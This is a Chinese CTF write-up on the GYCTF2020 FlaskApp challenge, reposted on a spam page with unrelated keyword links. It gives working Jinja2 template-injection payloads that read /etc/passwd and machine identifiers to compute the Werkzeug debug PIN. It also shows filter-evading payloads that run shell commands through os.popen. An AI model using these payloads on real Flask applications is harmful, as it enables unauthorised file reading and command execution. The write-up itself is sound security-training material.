当前位置: 首页 > news >正文

网页设计作业电影介绍网站网络app推广是什么工作

网页设计作业电影介绍网站,网络app推广是什么工作,自己公司怎样做免费的网站,网站备案后 如何建设[GYCTF2020]FlaskApp 文章目录 [GYCTF2020]FlaskApp常用绕过方法掌握知识解题思路解题一 -- 计算pin码解题二 -- 拼接绕过 执行命令 关键paylaod 常用绕过方法 ssti详解与例题以及绕过payload大全_ssti绕过空格_HoAd’s blog的博客-CSDN博客 CTF 对SSTI的一些总结 - FreeBuf网…

[GYCTF2020]FlaskApp

文章目录

      • [GYCTF2020]FlaskApp
      • 常用绕过方法
      • 掌握知识
      • 解题思路
        • 解题一 -- 计算pin码
        • 解题二 -- 拼接绕过 执行命令
      • 关键paylaod

常用绕过方法

ssti详解与例题以及绕过payload大全_ssti绕过空格_HoAd’s blog的博客-CSDN博客

CTF 对SSTI的一些总结 - FreeBuf网络安全行业门户

掌握知识

sstipython debugPIN码计算,调用debug命令行执行命令。存在ssti注入就能进行命令执行,使用拼接操作绕过关键字过滤['o'+'s']。不同版本的python计算pin码的代码不同。python的模板注入可以通过for循环遍历子类特征名的方式,来寻找能够执行命令的子类模块

​ 其实计算pin码的题目不应该存在ssti模板注入,只需要有文件读取和文件包含漏洞就行,这样也就不会利用ssti模板注入进行任意代码执行了

解题思路

解题一 – 计算pin码
  1. 打开题目链接,根据题目内容明显是一个flask模板的ssti注入,查看一下hint界面,在源码中发现pin字样。前几天刚学完,在debug的环境下输入PIN码调用python的交互式shell

image-20231015144312917

image-20231015144310684

  1. 先来列举一下PIN码计算的六个关键参数吧,pin码计算一定需要有文件包含和文件读取的漏洞。ssti就可以调用内部命令进行文件读取
username:  运行该Flask程序的用户名  /etc/passwd文件内
modname:   模块名  flask.app
getattr(): app名,值为Flask
getattr(): Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc。  报错页面回显(访问报错界面 输入不能识别的参数)
str(uuid.getnode()):  MAC地址,读取这两个文件地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address
get_machine_id():  系统id  /etc/machine-id    或者docker环境id /proc/self/cgroup
  1. 了解了需要读取的文件目录,就要开始找能够执行文件读取函数的模块子类了。经过测试,在加密界面输入ssti注入paylaod,在将加密的内容解密就能触发执行结果。找到了ssti注入点,开始寻找要利用的模块子类了

image-20231015145042505

image-20231015145048241

  1. pythonssti注入可以利用for循环遍历子类,通过if判断想寻找的子类名是否存在,存在的话就执行后面代码,就是遍历子类名,寻找能够执行命令的子类,得到主机用户名为flaskweb
{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}{%endif%}
{%endfor%}

image-20231015150209878

  1. 通过输入不合规则的数据进行解密,成功导致页面报错,得到了Pythonapp.py的版本号和绝对路径,根据版本的不同需要执行不同的代码进行计算pin码。输入pin码的界面可以查看目录console,也可以在报错界面右面直接进入

image-20231015150342906

image-20231015150348867

image-20231015150616810

  1. 接下来继续使用遍历子类的方式来读取MAC地址和主机id /sys/class/net/eth0/address /etc/machine-id,换一种方式,使用遍历paylaod只需要把上面的文件名进行修改即可得到。下面换另外一个子类进行命令执行,只需要查询一下所有子类,将网页回显的内容粘贴到notepad上,将空格替换成\n换行,即可显示为每一行为一个子类,只需要全局搜索一下常见可以利用的子类看其行号即可确定所在的列表位置。
查看所有子类
{{().__class__.__bases__[0].__subclasses__()}}下面是利用_frozen_importlib._ModuleLock子类进行命令执行
获取主机用户名
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}获取MAC地址
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
5a:52:2f:5d:cc:5d   --->   99309028494429docker环境特有id
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}
fc3dc388b7a8661f02eac8aefa9ffd2e6b5b7902b1369d6221cf4a51d8ff144a
  1. 得到了全部的pin码计算的条件之后,直接使用相应版本的pin码计算的脚本,输入相应参数执行即可拿下pin码,在相关界面输入pin码即可进去到Python的交互式界面,调用os模块进行命令执行,读取文件内容拿下flag

image-20231015151222445

image-20231015151227319

image-20231015151231160

解题二 – 拼接绕过 执行命令
  1. 既然存在ssti注入,还能执行文件读取函数,那肯定就能执行系统命令了,只不过是被过滤了罢了,只需要将被过滤的内容进行拼接即可绕过。使用burp抓包测试paylaod,发现过滤内容为importospopenflageval*?

  2. 直接进行遍历子类,寻找能够执行os模块系统命令的子类模块,子类还是寻找存在warning字段的子类,进行命令执行

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['pop'+'en'] ('cat /this_is_the_f'+'lag.txt').read() }}{%endif%}
{%endfor%}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').__dict__['po'+'pen'] ('ls /').read()}}

image-20231015153432488

image-20231015153553038

关键paylaod

遍历子类寻找能文件读取的子类  warnings.catch_warnings
{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}{%endif%}
{%endfor%}遍历子类,找到能命令执行的子类
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['pop'+'en'] ('cat /this_is_the_f'+'lag.txt').read() }}{%endif%}
{%endfor%}直接调用子类进行文件读取和命令执行  _frozen_importlib._ModuleLock
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').__dict__['po'+'pen'] ('ls /').read()}}
http://www.qdjiajiao.com/news/4500.html

相关文章:

  • 像网站分类一样的表格图怎么做上海seo服务
  • 手机app网站seo的优化方向
  • 义乌网站建设工作室最新热点新闻事件素材
  • 手机低价购买网站网络营销推广策划方案
  • 资阳视频网站建设广东seo外包服务
  • 专业建设金融行业网站的公司如何推广我的网站
  • 网站建设在线视频关键词是怎么排名的
  • 最新公司名字大全吉林seo刷关键词排名优化
  • 保定市做网站的公司百度统计工具
  • 公司网站备案怎么做今日郑州头条最新新闻
  • 怎样在网上注册自己的公司安顺seo
  • 什么网站可以做投票百度快照客服
  • 响应式网站案例源码企业营销培训课程
  • 知名的咨询行业网站制作免费的网站域名查询565wcc
  • 深圳福田住房和建设局网站官网北京网站建设公司案例
  • 做网站要有什么功能新媒体运营培训班
  • 佛山顺德网站建设网址查询ip地址
  • 综合门户网站是什么意思百度网盘怎么找资源
  • 做的比较漂亮的网站win优化大师
  • 直播间网站开发长春网站推广排名
  • 网上做兼职老师的正规网站seo关键词外包
  • 做课件挣钱的网站湖南网络优化
  • 周至县做网站免费引流微信推广
  • 网站效果图尺寸拉新平台哪个好佣金高
  • 做房产中介需要有内部网站吗百度热线客服24小时
  • 做运动鞋评价的网站北京建站优化
  • 旅游类网站建设教案淘宝引流推广平台
  • 乡镇网站建设包就业的培训学校
  • 企业网站建设方案 完整版西安网站seo优化公司
  • 苏州建设工程有限公司影响seo排名的因素